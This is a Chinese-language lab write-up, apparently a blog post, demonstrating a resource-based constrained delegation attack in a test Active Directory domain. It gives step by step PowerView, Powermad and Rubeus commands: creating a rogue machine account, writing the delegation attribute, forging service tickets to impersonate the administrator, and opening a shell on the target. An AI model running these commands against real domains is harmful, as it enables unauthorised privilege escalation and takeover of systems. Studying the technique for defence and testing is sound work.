域: test.com
域控:Windows server 2012R2
, 主机名: AD, IP: 192.168.1.7
委派的域内主机:系统:win2008R2
,主机名:win2008
,ip:192.168.1.24
域内普通用户: test
,对win2008
有写的权限
域内普通用户: test1
攻击机器:系统:win2019
ip:192.168.1.19
登录用户为test1
验证test这个用户对win2008是否具有写权限,可以使用PowerView枚举win2008.test.com的中的特定ACE
Get-DomainUser -Identity test -Properties objectsid # 查询test的SID
Get-DomainObjectAcl -Identity WIN2008 | ?{$_.SecurityIdentifier -match "S-1-5-21-3298638106-3321833000-1571791979-1106"} # 查看是否有写权限
可以看到test这个用户对win2008这个计算机账户拥有完全控制权限(GenericAll),其实也不一定需要GenericAll
权限,GenericWrite
、WriteProperty
、WriteDacl
等等权限都是可以修改账户属性的。
我们现在还需要的是一个具有SPN
的账户,因为S4U2Self
只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota
,这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户,而计算机账户默认是注册RestrictedKrbHost/domain
和HOST/domain
这两个SPN的,所以这里刚好符合我们的意图。
我们可以使用Kevin Robertson
的Powermad
中的New-MachineAccount
来创建一个用户名为evilsystem,密码为evil的计算机账户
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)
查询机器用户是否创建成功
net group "domain computers" /domain
下面是修改win2008的msDS-AllowedToActOnBehalfOfOtherIdentity
属性的值,有两种方法可以修改,Powerview
或者ActiveDirectory
模块
这儿以powershell举例
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)" #这儿的sid是我们创建的机器用户evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN2008| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
获取evilsystem
的SID
Get-NetComputer "evilsystem"
验证是否成功添加
Get-DomainComputer win2008 -Properties msds-allowedtoactonbehalfofotheridentity
若想清除msds-allowedtoactonbehalfofotheridentity属性的值,可用如下命令:
Set-DomainObject win2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
配置完msDS-AllowedToActOnBehalfOfOtherIdentity
属性之后就可以通过基于资源的约束委派去攻击目标主机了
这儿我们使用Rubeus来
进行请求白银票据
因为Rubeus是不支持明文的,所以先把它转换为hash
然后用evilsystem$的hash请求白银票据并导入到当前会话中
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/WIN2008 /ptt
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/WIN2008 /ptt
这儿需要导入两个票据才能用wmiexec
连接win2008
,我参考的文章作者使用的是psexec
和impacket
的getst.exe
,但是我并没有成功,我是用wmiexec
是可以连接上的(但是需要以管理员权限打开,本地管理员也可以)
下面是两个工具的使用命令(我自己使用这个没有成功)
PsExec64.exe \\win2008 cmd
getst.exe -dc-ip 192.168.1.24 -spn cifs/win2008 -impersonate Administrator test.com/test:evilsystem:evil
最后我是用wmiexec
连接上win2008
的cmd
的。
这儿我还不清楚是咋回事(太菜了~~)
(环境有点问题啊~,服了)
这时候我们在通过s4u
去申请一下票据,这个时候S4U2self
是成功的,但是S4U2proxy
是失败的
这个时候,将S4U2proxy
的base64
提取成test.kirbi
,然后再用Rubeus
修改就可以了
Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/win2008 /ptt
Rubeus.exe tgssub /ticket:test.kirbi /altservice:host/win2008 /ptt
链接